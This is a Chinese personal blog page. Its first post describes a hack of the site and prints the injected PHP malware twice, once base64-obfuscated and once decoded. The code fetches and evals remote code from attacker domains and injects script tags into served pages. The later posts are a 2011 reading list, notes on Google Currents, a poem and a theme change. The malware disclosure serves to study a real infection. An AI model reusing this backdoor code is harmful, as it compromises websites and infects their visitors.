blog被入侵

前几日blog被入侵,在所有页面都被注入以下代码:

<?php /**/ eval(base64_decode(“aWYoZnVuY3Rpb25fZXhpc3RzKCdvYl9zdGFydCcpJiYhaXNzZXQoJF9TRVJWRVJbJ21yX25vJ10pKXsgICRfU0VSVkVSWydtcl9ubyddPTE7ICAgIGlmKCFmdW5jdGlvbl9leGlzdHMoJ21yb2JoJykpeyAgICBmdW5jdGlvbiBnZXRfdGRzXzc3NygkdXJsKXskY29udGVudD0iIjskY29udGVudD1AdHJ5Y3VybF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZpbGVfNzc3KCR1cmwpO2lmKCRjb250ZW50IT09ZmFsc2UpcmV0dXJuICRjb250ZW50OyRjb250ZW50PUB0cnlmb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeWZzb2Nrb3Blbl83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7JGNvbnRlbnQ9QHRyeXNvY2tldF83NzcoJHVybCk7aWYoJGNvbnRlbnQhPT1mYWxzZSlyZXR1cm4gJGNvbnRlbnQ7cmV0dXJuICcnO30gIGZ1bmN0aW9uIHRyeWN1cmxfNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnY3VybF9pbml0Jyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGNoID0gY3VybF9pbml0ICgpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVVJMLCR1cmwpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpO2N1cmxfc2V0b3B0ICgkY2gsIENVUkxPUFRfVElNRU9VVCwgNSk7Y3VybF9zZXRvcHQgKCRjaCwgQ1VSTE9QVF9IRUFERVIsIDApOyRyZXN1bHQgPSBjdXJsX2V4ZWMgKCRjaCk7Y3VybF9jbG9zZSgkY2gpO2lmICgkcmVzdWx0PT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRyZXN1bHQ7fSAgZnVuY3Rpb24gdHJ5ZmlsZV83NzcoJHVybCl7aWYoZnVuY3Rpb25fZXhpc3RzKCdmaWxlJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JGluYz1AZmlsZSgkdXJsKTskYnVmPUBpbXBsb2RlKCcnLCRpbmMpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5Zm9wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZm9wZW4nKT09PWZhbHNlKXJldHVybiBmYWxzZTskYnVmPScnOyRmPUBmb3BlbigkdXJsLCdyJyk7aWYgKCRmKXt3aGlsZSghZmVvZigkZikpeyRidWYuPWZyZWFkKCRmLDEwMDAwKTt9ZmNsb3NlKCRmKTt9ZWxzZSByZXR1cm4gZmFsc2U7aWYgKCRidWY9PSIiKXJldHVybiBmYWxzZTtyZXR1cm4gJGJ1Zjt9ICBmdW5jdGlvbiB0cnlmc29ja29wZW5fNzc3KCR1cmwpe2lmKGZ1bmN0aW9uX2V4aXN0cygnZnNvY2tvcGVuJyk9PT1mYWxzZSlyZXR1cm4gZmFsc2U7JHA9QHBhcnNlX3VybCgkdXJsKTskaG9zdD0kcFsnaG9zdCddOyR1cmk9JHBbJ3BhdGgnXS4nPycuJHBbJ3F1ZXJ5J107JGY9QGZzb2Nrb3BlbigkaG9zdCw4MCwkZXJybm8sICRlcnJzdHIsMzApO2lmKCEkZilyZXR1cm4gZmFsc2U7JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7ZndyaXRlKCRmLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCFmZW9mKCRmKSl7JGJ1Zi49ZnJlYWQoJGYsMTAwMDApO31mY2xvc2UoJGYpO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdHJ5c29ja2V0Xzc3NygkdXJsKXtpZihmdW5jdGlvbl9leGlzdHMoJ3NvY2tldF9jcmVhdGUnKT09PWZhbHNlKXJldHVybiBmYWxzZTskcD1AcGFyc2VfdXJsKCR1cmwpOyRob3N0PSRwWydob3N0J107JHVyaT0kcFsncGF0aCddLic/Jy4kcFsncXVlcnknXTskaXAxPUBnZXRob3N0YnluYW1lKCRob3N0KTskaXAyPUBsb25nMmlwKEBpcDJsb25nKCRpcDEpKTsgaWYgKCRpcDEhPSRpcDIpcmV0dXJuIGZhbHNlOyRzb2NrPUBzb2NrZXRfY3JlYXRlKEFGX0lORVQsU09DS19TVFJFQU0sU09MX1RDUCk7aWYgKCFAc29ja2V0X2Nvbm5lY3QoJHNvY2ssJGlwMSw4MCkpe0Bzb2NrZXRfY2xvc2UoJHNvY2spO3JldHVybiBmYWxzZTt9JHJlcXVlc3QgPSJHRVQgJHVyaSBIVFRQLzEuMFxuIjskcmVxdWVzdC49Ikhvc3Q6ICRob3N0XG5cbiI7c29ja2V0X3dyaXRlKCRzb2NrLCRyZXF1ZXN0KTskYnVmPScnO3doaWxlKCR0PXNvY2tldF9yZWFkKCRzb2NrLDEwMDAwKSl7JGJ1Zi49JHQ7fUBzb2NrZXRfY2xvc2UoJHNvY2spO2lmICgkYnVmPT0iIilyZXR1cm4gZmFsc2U7bGlzdCgkbSwkYnVmKT1leHBsb2RlKGNocigxMykuY2hyKDEwKS5jaHIoMTMpLmNocigxMCksJGJ1Zik7cmV0dXJuICRidWY7fSAgZnVuY3Rpb24gdXBkYXRlX3Rkc19maWxlXzc3NygkdGRzZmlsZSl7JGFjdHVhbDE9JF9TRVJWRVJbJ3NfYTEnXTskYWN0dWFsMj0kX1NFUlZFUlsnc19hMiddOyR2YWw9Z2V0X3Rkc183NzcoJGFjdHVhbDEpO2lmICgkdmFsPT0iIikkdmFsPWdldF90ZHNfNzc3KCRhY3R1YWwyKTskZj1AZm9wZW4oJHRkc2ZpbGUsInciKTtpZiAoJGYpe0Bmd3JpdGUoJGYsJHZhbCk7QGZjbG9zZSgkZik7fWlmIChzdHJzdHIoJHZhbCwifHx8Q09ERXx8fCIpKXtsaXN0KCR2YWwsJGNvZGUpPWV4cGxvZGUoInx8fENPREV8fHwiLCR2YWwpO2V2YWwoYmFzZTY0X2RlY29kZSgkY29kZSkpO31yZXR1cm4gJHZhbDt9ICBmdW5jdGlvbiBnZXRfYWN0dWFsX3Rkc183NzcoKXskZGVmYXVsdGRvbWFpbj0kX1NFUlZFUlsnc19kMSddOyRkaXI9JF9TRVJWRVJbJ3NfcDEnXTskdGRzZmlsZT0kZGlyLiJsb2cxLnR4dCI7aWYgKEBmaWxlX2V4aXN0cygkdGRzZmlsZSkpeyRtdGltZT1AZmlsZW10aW1lKCR0ZHNmaWxlKTskY3RpbWU9dGltZSgpLSRtdGltZTtpZiAoJGN0aW1lPiRfU0VSVkVSWydzX3QxJ10peyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO31lbHNleyRjb250ZW50PUBmaWxlX2dldF9jb250ZW50cygkdGRzZmlsZSk7fX1lbHNleyRjb250ZW50PXVwZGF0ZV90ZHNfZmlsZV83NzcoJHRkc2ZpbGUpO30kdGRzPUBleHBsb2RlKCJcbiIsJGNvbnRlbnQpOyRjPUBjb3VudCgkdGRzKSswOyR1cmw9JGRlZmF1bHRkb21haW47aWYgKCRjPjEpeyR1cmw9dHJpbSgkdGRzW210X3JhbmQoMCwkYy0yKV0pO31yZXR1cm4gJHVybDt9ICBmdW5jdGlvbiBpc19tYWNfNzc3KCR1YSl7JG1hYz0wO2lmIChzdHJpc3RyKCR1YSwibWFjIil8fHN0cmlzdHIoJHVhLCJzYWZhcmkiKSlpZiAoKCFzdHJpc3RyKCR1YSwid2luZG93cyIpKSYmKCFzdHJpc3RyKCR1YSwiaXBob25lIikpKSRtYWM9MTtyZXR1cm4gJG1hYzt9ICBmdW5jdGlvbiBpc19tc2llXzc3NygkdWEpeyRtc2llPTA7aWYgKHN0cmlzdHIoJHVhLCJNU0lFIDYiKXx8c3RyaXN0cigkdWEsIk1TSUUgNyIpfHxzdHJpc3RyKCR1YSwiTVNJRSA4Iil8fHN0cmlzdHIoJHVhLCJNU0lFIDkiKSkkbXNpZT0xO3JldHVybiAkbXNpZTt9ICAgIGZ1bmN0aW9uIHNldHVwX2dsb2JhbHNfNzc3KCl7JHJ6PSRfU0VSVkVSWyJET0NVTUVOVF9ST09UIl0uIi8ubG9ncy8iOyRtej0iL3RtcC8iO2lmICghaXNfZGlyKCRyeikpe0Bta2RpcigkcnopO2lmIChpc19kaXIoJHJ6KSl7JG16PSRyejt9ZWxzZXskcno9JF9TRVJWRVJbIlNDUklQVF9GSUxFTkFNRSJdLiIvLmxvZ3MvIjtpZiAoIWlzX2RpcigkcnopKXtAbWtkaXIoJHJ6KTtpZiAoaXNfZGlyKCRyeikpeyRtej0kcno7fX1lbHNleyRtej0kcno7fX19ZWxzZXskbXo9JHJ6O30kYm90PTA7JHVhPSRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXTtpZiAoc3RyaXN0cigkdWEsIm1zbmJvdCIpfHxzdHJpc3RyKCR1YSwiWWFob28iKSkkYm90PTE7aWYgKHN0cmlzdHIoJHVhLCJiaW5nYm90Iil8fHN0cmlzdHIoJHVhLCJnb29nbGUiKSkkYm90PTE7JG1zaWU9MDtpZiAoaXNfbXNpZV83NzcoJHVhKSkkbXNpZT0xOyRtYWM9MDtpZiAoaXNfbWFjXzc3NygkdWEpKSRtYWM9MTtpZiAoKCRtc2llPT0wKSYmKCRtYWM9PTApKSRib3Q9MTsgIGdsb2JhbCAkX1NFUlZFUjsgICAgJF9TRVJWRVJbJ3NfcDEnXT0kbXo7ICAkX1NFUlZFUlsnc19iMSddPSRib3Q7ICAkX1NFUlZFUlsnc190MSddPTEyMDA7ICAkX1NFUlZFUlsnc19kMSddPSJodHRwOi8vc3dlZXBzdGFrZXNhbmRjb250ZXN0c2RvLmNvbS8iOyAgJGQ9Jz9kPScudXJsZW5jb2RlKCRfU0VSVkVSWyJIVFRQX0hPU1QiXSkuIiZwPSIudXJsZW5jb2RlKCRfU0VSVkVSWyJQSFBfU0VMRiJdKS4iJmE9Ii51cmxlbmNvZGUoJF9TRVJWRVJbIkhUVFBfVVNFUl9BR0VOVCJdKTsgICRfU0VSVkVSWydzX2ExJ109J2h0dHA6Ly93d3cubGlseXBvcGhpbHlwb3AuY29tL2dfbG9hZC5waHAnLiRkOyAgJF9TRVJWRVJbJ3NfYTInXT0naHR0cDovL3d3dy5sb2x5cG9waG9seXBvcC5jb20vZ19sb2FkLnBocCcuJGQ7ICAkX1NFUlZFUlsnc19zY3JpcHQnXT0ibW0ucGhwP2Q9MSI7ICB9ICAgICAgc2V0dXBfZ2xvYmFsc183NzcoKTsgICAgaWYoIWZ1bmN0aW9uX2V4aXN0cygnZ21sXzc3NycpKXsgIGZ1bmN0aW9uIGdtbF83NzcoKXsgICAgJHJfc3RyaW5nXzc3Nz0nJzsgIGlmICgkX1NFUlZFUlsnc19iMSddPT0wKSRyX3N0cmluZ183Nzc9JzxzY3JpcHQgc3JjPSInLmdldF9hY3R1YWxfdGRzXzc3NygpLiRfU0VSVkVSWydzX3NjcmlwdCddLiciPjwvc2NyaXB0Pic7ICByZXR1cm4gJHJfc3RyaW5nXzc3NzsgIH0gIH0gICAgICBpZighZnVuY3Rpb25fZXhpc3RzKCdnemRlY29kZWl0JykpeyAgZnVuY3Rpb24gZ3pkZWNvZGVpdCgkZGVjb2RlKXsgICR0PUBvcmQoQHN1YnN0cigkZGVjb2RlLDMsMSkpOyAgJHN0YXJ0PTEwOyAgJHY9MDsgIGlmKCR0JjQpeyAgJHN0cj1AdW5wYWNrKCd2JyxzdWJzdHIoJGRlY29kZSwxMCwyKSk7ICAkc3RyPSRzdHJbMV07ICAkc3RhcnQrPTIrJHN0cjsgIH0gIGlmKCR0JjgpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMTYpeyAgJHN0YXJ0PUBzdHJwb3MoJGRlY29kZSxjaHIoMCksJHN0YXJ0KSsxOyAgfSAgaWYoJHQmMil7ICAkc3RhcnQrPTI7ICB9ICAkcmV0PUBnemluZmxhdGUoQHN1YnN0cigkZGVjb2RlLCRzdGFydCkpOyAgaWYoJHJldD09PUZBTFNFKXsgICRyZXQ9JGRlY29kZTsgIH0gIHJldHVybiAkcmV0OyAgfSAgfSAgZnVuY3Rpb24gbXJvYmgoJGNvbnRlbnQpeyAgQEhlYWRlcignQ29udGVudC1FbmNvZGluZzogbm9uZScpOyAgJGRlY29kZWRfY29udGVudD1nemRlY29kZWl0KCRjb250ZW50KTsgIGlmKHByZWdfbWF0Y2goJy9cPFwvYm9keS9zaScsJGRlY29kZWRfY29udGVudCkpeyAgcmV0dXJuIHByZWdfcmVwbGFjZSgnLyhcPFwvYm9keVteXD5dKlw+KS9zaScsZ21sXzc3NygpLiJcbiIuJyQxJywkZGVjb2RlZF9jb250ZW50KTsgIH1lbHNleyAgcmV0dXJuICRkZWNvZGVkX2NvbnRlbnQuZ21sXzc3NygpOyAgfSAgfSAgb2Jfc3RhcnQoJ21yb2JoJyk7ICB9ICB9″));?>

非常感谢 @zula和@tifan的帮助,清理掉了病毒,恢复了blog。用了一个很简单的办法:

find . -name “*.php” -exec sed -i ’1s///g’ {} \;

另外,@tifan还给出了病毒的源代码:

if (function_exists(‘ob_start’) && !isset($_SERVER['mr_no'])) {
$_SERVER['mr_no'] = 1;
if (!function_exists(‘mrobh’)) {
function get_tds_777($url) {
$content = “”;
$content = @trycurl_777($url);
if ($content !== false) return $content;
$content = @tryfile_777($url);
if ($content !== false) return $content;
$content = @tryfopen_777($url);
if ($content !== false) return $content;
$content = @tryfsockopen_777($url);
if ($content !== false) return $content;
$content = @trysocket_777($url);
if ($content !== false) return $content;
return ”;
}
function trycurl_777($url) {
if (function_exists(‘curl_init’) === false) return false;
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 5);
curl_setopt($ch, CURLOPT_HEADER, 0);
$result = curl_exec($ch);
curl_close($ch);
if ($result == “”) return false;
return $result;
}
function tryfile_777($url) {
if (function_exists(‘file’) === false) return false;
$inc = @file($url);
$buf = @implode(”, $inc);
if ($buf == “”) return false;
return $buf;
}
function tryfopen_777($url) {
if (function_exists(‘fopen’) === false) return false;
$buf = ”;
$f = @fopen($url, ‘r’);
if ($f) {
while (!feof($f)) {
$buf. = fread($f, 10000);
}
fclose($f);
} else return false;
if ($buf == “”) return false;
return $buf;
}
function tryfsockopen_777($url) {
if (function_exists(‘fsockopen’) === false) return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'].’?’.$p['query'];
$f = @fsockopen($host, 80, $errno, $errstr, 30);
if (!$f) return false;
$request = “GET $uri HTTP/1.0\n”;
$request. = “Host: $host\n\n”;
fwrite($f, $request);
$buf = ”;
while (!feof($f)) {
$buf. = fread($f, 10000);
}
fclose($f);
if ($buf == “”) return false;
list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf); //\r\n\r\n
return $buf;
}
function trysocket_777($url) {
if (function_exists(‘socket_create’) === false) return false;
$p = @parse_url($url);
$host = $p['host'];
$uri = $p['path'].’?’.$p['query'];
$ip1 = @gethostbyname($host);
$ip2 = @long2ip(@ip2long($ip1));
if ($ip1 != $ip2) return false;
$sock = @socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
if (!@socket_connect($sock, $ip1, 80)) {@socket_close($sock);
return false;
}
$request = “GET $uri HTTP/1.0\n”;
$request. = “Host: $host\n\n”;
socket_write($sock, $request);
$buf = ”;
while ($t = socket_read($sock, 10000)) {
$buf. = $t;
}@socket_close($sock);
if ($buf == “”) return false;
list($m, $buf) = explode(chr(13).chr(10).chr(13).chr(10), $buf);
return $buf;
}
function update_tds_file_777($tdsfile) {
$actual1 = $_SERVER['s_a1'];
$actual2 = $_SERVER['s_a2'];
$val = get_tds_777($actual1);
if ($val == “”) $val = get_tds_777($actual2);
$f = @fopen($tdsfile, “w”);
if ($f) {@fwrite($f, $val);@fclose($f);
}
if (strstr($val, “|||CODE|||”)) {
list($val, $code) = explode(“|||CODE|||”, $val);
eval(base64_decode($code));
}
return $val;
}
function get_actual_tds_777() {
$defaultdomain = $_SERVER['s_d1'];
$dir = $_SERVER['s_p1'];
$tdsfile = $dir.”log1.txt”;
if (@file_exists($tdsfile)) {
$mtime = @filemtime($tdsfile);
$ctime = time() – $mtime;
if ($ctime > $_SERVER['s_t1']) {
$content = update_tds_file_777($tdsfile);
} else {
$content = @file_get_contents($tdsfile);
}
} else {
$content = update_tds_file_777($tdsfile);
}
$tds = @explode(“\n”, $content);
$c = @count($tds) + 0;
$url = $defaultdomain;
if ($c > 1) {
$url = trim($tds[mt_rand(0, $c - 2)]);
}
return $url;
}
function is_mac_777($ua) {
$mac = 0;
if (stristr($ua, “mac”) || stristr($ua, “safari”)) if ((!stristr($ua, “windows”)) && (!stristr($ua, “iphone”))) $mac = 1;
return $mac;
}
function is_msie_777($ua) {
$msie = 0;
if (stristr($ua, “MSIE 6″) || stristr($ua, “MSIE 7″) || stristr($ua, “MSIE 8″) || stristr($ua, “MSIE 9″)) $msie = 1;
return $msie;
}
function setup_globals_777() {
$rz = $_SERVER["DOCUMENT_ROOT"].”/.logs/”;
$mz = “/tmp/”;
if (!is_dir($rz)) {@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
} else {
$rz = $_SERVER["SCRIPT_FILENAME"].”/.logs/”;
if (!is_dir($rz)) {@mkdir($rz);
if (is_dir($rz)) {
$mz = $rz;
}
} else {
$mz = $rz;
}
}
} else {
$mz = $rz;
}
$bot = 0;
$ua = $_SERVER['HTTP_USER_AGENT'];
if (stristr($ua, “msnbot”) || stristr($ua, “Yahoo”)) $bot = 1;
if (stristr($ua, “bingbot”) || stristr($ua, “google”)) $bot = 1;
$msie = 0;
if (is_msie_777($ua)) $msie = 1;
$mac = 0;
if (is_mac_777($ua)) $mac = 1;
if (($msie == 0) && ($mac == 0)) $bot = 1;
global $_SERVER;
$_SERVER['s_p1'] = $mz;
$_SERVER['s_b1'] = $bot;
$_SERVER['s_t1'] = 1200;
$_SERVER['s_d1'] = “http://sweepstakesandcontestsdo.com/”;
$d = ‘?d=’.urlencode($_SERVER["HTTP_HOST"]).”&p=”.urlencode($_SERVER["PHP_SELF"]).”&a=”.urlencode($_SERVER["HTTP_USER_AGENT"]);
$_SERVER['s_a1'] = ‘http://www.lilypophilypop.com/g_load.php’.$d;
$_SERVER['s_a2'] = ‘http://www.lolypopholypop.com/g_load.php’.$d;
$_SERVER['s_script'] = “mm.php?d=1″;
}
setup_globals_777();
if (!function_exists(‘gml_777′)) {
function gml_777() {
$r_string_777 = ”;
if ($_SERVER['s_b1'] == 0) $r_string_777 = ‘‘;
return $r_string_777;
}
}
if (!function_exists(‘gzdecodeit’)) {
function gzdecodeit($decode) {
$t = @ord(@substr($decode, 3, 1));
$start = 10;
$v = 0;
if ($t & 4) {
$str = @unpack(‘v’, substr($decode, 10, 2));
$str = $str[1];
$start += 2 + $str;
}
if ($t & 8) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 16) {
$start = @strpos($decode, chr(0), $start) + 1;
}
if ($t & 2) {
$start += 2;
}
$ret = @gzinflate(@substr($decode, $start));
if ($ret === FALSE) {
$ret = $decode;
}
return $ret;
}
}
function mrobh($content) {@Header(‘Content-Encoding: none’);
$decoded_content = gzdecodeit($content);
if (preg_match(‘/\]*\>)/si’, gml_777().”\n”.’$1′, $decoded_content);
} else {
return $decoded_content.gml_777();
}
}
ob_start(‘mrobh’);
}
}

感兴趣的同学可以研究一下~~~

2011年已读书目

看到许多人都总结了2011年一年自己都读了啥书,那我也总结一下一年来读过的书吧。也希望我的书单能对其他喜欢读书的人有所帮助和发现。

回顾一下才发觉,自己去年还真的是读了不少书,只是我读的书大多都不是新书啦:

果壳中的宇宙

  • 果壳中的宇宙
  • [英] 史蒂芬·霍金 / 吴忠超 / 湖南科学技术出版社
  • ★★★★
  • 宅男装逼书籍,经典,适合有一定物理基础的同学看。翻译质量不敢恭维。

网民的狂欢

共创未来

时间.空间和万物

终极理论之梦

  • 终极理论之梦
  • S·温伯格 / 湖南科技 /
  • ★★★★★
  • 第一推动力丛书大部分翻译质量都不错。这本是诺贝尔物理学奖得主温伯格非常有名的一部作品,探讨物理学的终极理论。

时空的未来

  • 时空的未来
  • 霍金 / 湖南科学技术出版社
  • ★★★★★
  • 还是第一推动力的。这本书汇集了霍金等几位物理学家的文章,严肃探讨时间旅行的可行性。介于科普与学术论文之间

千亿个太阳

  • 千亿个太阳
  • [德]鲁道夫·基彭哈恩 / 湖南科学技术出版社
  • ★★★★
  • 非常经典的天文学科普著作,只是内容有些老了

生命是什么

  • 生命是什么
  • [奥]埃尔温·薛定谔
  • ★★★★
  • 薛定谔同学一本很有名的书,不谈物理,而是谈生命与哲学。是分子生物学的奠基之作。

动物农场

  • 动物农场
  • [英] 乔治·奥威尔 / 荣如德 / 上海译文出版社
  • ★★★★★
  • 这个不用多说了。“动物是平等的,而有些动物是更加平等的”

温度概念及其发展

  • 温度概念及其发展
  • 薛国良 / 河北教育出版社
  • ★★★★
  • 国人写的一部专门讲温度这个概念的科普著作

信息的社会层面

  • 信息的社会层面
  • [美]布朗 / 王铁生 / 商务印书馆
  • ★★★★
  • 信息与人类社会之间的相互影响。其中讲到的一些知名IT早期的故事蛮有意思。

唐诗杂论

  • 唐诗杂论
  • 闻一多 / 上海古籍出版社
  • ★★★★
  • 闻一多同学论唐诗,偏学术一些。据说还在学界引起较大争议。其中一些观点还是蛮有意思。

中国道教发展史略

  • 中国道教发展史略
  • 南怀瑾 / 复旦大学出版社
  • ★★★
  • 虽然南怀瑾同学比较有争议性。但怎么说论家也是通读过《道藏》滴人,只这一点就没有几个人能比得了。只是这本书真的是“史略”,太略了一点,看起来不过瘾

通俗天文学

  • 通俗天文学
  • (美)西蒙·纽康 / 金克木 / 当代世界出版社
  • ★★★
  • 又是一本天文学方面的经典科普著作。只是这个译本为了保持知识的新鲜度,加了很多内容上去。结果就变成狗尾续貂了。

樱花与武士

  • 樱花与武士
  • 孔祥旭著 / 同心 /
  • ★★★★
  • 国人所著,谈日本文化的历史渊源,中日之间的许多争执都是因为文化差异而起。不管是反日还是不反日,只要关心中日关系,都应该看一看

大设计

  • 大设计
  • [英] 斯蒂芬·霍金 / 吴忠超 / 湖南科学技术出版社
  • ★★★★
  • 好吧,这本书没出来就已经是名著了。没有物理功底的同学还是直接路过吧,当然,用来装逼还是相当不错的。可惜吴忠超同学对霍金著作糟糕的垄断翻译,彻底把这本书给毁了。这应该是我2011年读过的几本新书之一吧

从大历史的角度读蒋介石日记

  • 从大历史的角度读蒋介石日记
  • 黄仁宇 / 九州出版社 /
  • ★★★★
  • 非常喜欢黄仁宇的书。只是这本书写的时候蒋介石日记还没有能公开查阅,所以有些观点就…

神话的历史

  • 神话的历史
  • 维罗妮卡.艾恩斯 / 杜文燕 / 希望出版社
  • ★★★
  • 其实书名如果叫做《世界神话》就更合适了。看着玩玩还行,书中配图错误比较多

自由主义

  • 自由主义
  • 约翰・格雷 / 曹海军 / 吉林人民出版社
  • ★★★★
  • 自由主义知识普及小册子(其实是非常学术化的)

存在之轻

  • 存在之轻
  • (美) 维尔切克 / 王文浩 / 湖南科学技术出版社
  • ★★★★★
  • 嘿嘿嘿,又见第一推动力。不太科普的物理学科普著作。需要有一定的物理学基础,读起来才不会太吃力

剑桥倚天屠龙史

  • 剑桥倚天屠龙史
  • 新垣平 / 万卷出版公司
  • ★★★★
  • 2011年读的另外一本新书。休闲读物。只是作者吐槽吐的太狠了一些,过犹不及了。这本书是2011年我读的最快的一本了,一天就把整本书全看完了。

平行宇宙

  • 平行宇宙
  • (美)加来道雄 / 伍义生 / 重庆出版集团,重庆出版社
  • ★★★★
  • 啊,作者就是那位很geek的,说英语的日本人,老在电视上晃来晃去。物理学家啊。科幻和物理是密不可分的,想想我们几十亿年以后的子孙如何解决太阳死亡,银河毁灭,宇宙死寂的终极问题吧。就是翻译差了一点。

君主论

  • 君主论
  • [意]尼科洛·马基雅维里 / 潘汉典 / 商务印书馆
  • ★★★★
  • 经典啊。看这本书的人经常会被人问,你是要从政?还是要当领导了?所以千万别被你的领导/老板发现你在看这本书…

超越时空

  • 超越时空
  • (美)加来道雄(Kaku,M) / 刘玉玺 / 上海科技教育出版社
  • ★★★★
  • 这本书要和上面那本《平行宇宙》搭在一起看才有意思

知识分子论

  • 知识分子论
  • 爱德华•W•萨义德 / 单德兴 / 生活·读书·新知三联书店
  • ★★★★★
  • 在中国互联网上吵吵来吵吵去的那些公知们真的应该好好看看这本书。看看怎样才是真正的知识分子。其实韩寒还是挺契合萨义德同学的。

西方文化中的数学

  • 西方文化中的数学
  • (美)M・克莱因 / 张祖贵 / 复旦大学出版社 /
  • ★★★★★
  • 真的是一本好书。对数学史感兴趣的同学绝对不能错过。

美国的战争

  • 美国的战争
  • (德)妮科勒·施莱 / 陶佩云 / 生活.读书.新知三联书店
  • ★★★
  • 从德国人的角度看美国还是挺有意思的。书中讲到的一些美国历史上的小八卦比较令人耳目一新。

免费文化

著作权法教程

  • 著作权法教程
  • 费安玲 / 专利文献出版社
  • ★★★
  • 对于著作权法源的阐述比较充分,仅此而已。

爱因斯坦尚未完成的交响乐

  • 爱因斯坦尚未完成的交响乐
  • 玛西亚·芭楚莎 / 李红杰 / 湖南科技
  • ★★★
  • 原版2002年出的,现在有些内容稍微过时了一点,但是翻译质量还是不错的

PS: 为什么豆瓣电影有我的2011年电影,而豆瓣读书却怎么没有这么个东西呢?

试用Google Currents

Google Currents producer logo

Google Currents是google最新推出的数字内容移动平台,安卓平台和iOS平台都可以使用(不支持中国区)。看了一圈评价,觉得还是xjp的看法靠谱,这不仅仅是数字阅读移动平台,更为重要的是,它还是一个个人数字内容出版平台,对于自媒体而言,可以零成本的将自己的内容通过这个平台发布到移动设备上,app的资金与技术成本还是太高了。

试用了一下它的发布功能,总体而言Google Currents还是一个非常典型的beta产品,问题多多。例如对于feed的解析,远不如google redaer强大,某些feed不能正常解析。虽然内置支持google+,但是对google+内容的处理问题很大,例如我把自己的google+发布上去,它却只能提供很多天以前的内容,最新的内容始终看不到。但是也看到,它改进也是很快的,头一天建立的内容还不能删除,第二天就已经修好了。

记得之前有人说干脆自己做个app,然后在上面写连载小说。Google Currents已经能够完全实现这个功能了。Google Currents 可以通过feed导入内容,也可以从google doc导入,那么只要在google docs写小说,就可以同步发布到Google Currents 了。

我把我的blog、flickr、tumblr、google+的内容整合在一起发布到了Google Currents ,你可以在移动设备上点击这个链接在Google Currents 上订阅我发布的内容。或者也可以在Google Currents上搜索“半亩塘闲话”找到我。

下面是我在Google Currents上的两张截图:

(照片页)

(导航页)
我穿墙而来,google Currents能当几时?

学着作诗

闲着也是闲着,多年以前还会一点古诗,现在都已经快忘光了。今天读了半日诗话,来了兴致,将就着写了一首,也不知是否合辙压韵:

黄蟹梅酒过重阳
闲读诗书半日暇
遥寄金陵双老处
舔犊情深老芳华

我称之为流水体,流水帐之谓也。无病呻吟,贻笑方家了。

书&豆瓣

更新:今天发现豆瓣读书已经增加了分享功能,不知道是不是和这篇blog有关?

 

豆瓣前些阵子推出的豆瓣购书单手机客户端真的是很好用,去书店买书的时候非常方便。前两天第一次用,结果用它在书店淘到了4本网上书店一直缺货的书。

只是同时也要批评一下豆瓣,豆瓣读书这个豆瓣用来起家的项目,现在似乎越来越不受豆瓣重视,例如原来一本书有三种状态:想读、在读和已读,我一直以来的用法是,把想买的书都放到想读中,并同时放到购书单里,开始阅读后,把这本书的状态从想读改成在读,读完后再改成已读。此前不同状态间的切换,都会广播出去,而前一阵子开始,一本书只有最开始选择的一个状态会广播,以后的则不会广播出去了。例如我开始把书设置为想读,是会广播出去的,但是改成已读或再读则都不会广播出去了。豆瓣这个我一直用来以书会友的SNS站点已经失去了以书会友的功能。真的是不知道豆瓣是怎么想的?

另外,豆瓣电影可以同步广播到新浪微博等站点,而豆瓣读书却没有这个同步分享的功能。

嗯,说道书,这阵子分好多次买了不少书,积累下来发现有两套丛书我陆陆续续居然买了不少本了。两套丛书一理一文,理的一套是湖南科技出版社的第一推动丛书,翻译质量以我的标准看来至少都在中上水平,非常难得,那些科学类著作的翻译,都要比霍金著作的中文简体版独家垄断译者,号称霍金弟子的那位强多了。文的一套则是上海古籍出版社的世纪人文系列丛书·世纪文库,其中不少近国内代人文学者的著作,现代的砖家们的书是完全不可同日耳语的。

blog换了一个主题

原来使用的Mimbo主题总感觉太过阴郁,不太适合自己blog的风格。因此这两天换了一个简洁明快的Toolbox主题。

这个主题完全采用html5元素进行设计,因此用太老的浏览器看我的blog不知道会变成什么样子。还好看我blog的人一多半都是rss订阅看的,直接上blog的不多,尤其还是在墙外,让IE们惨不忍睹去吧 :D

后web2.0时代的互联网

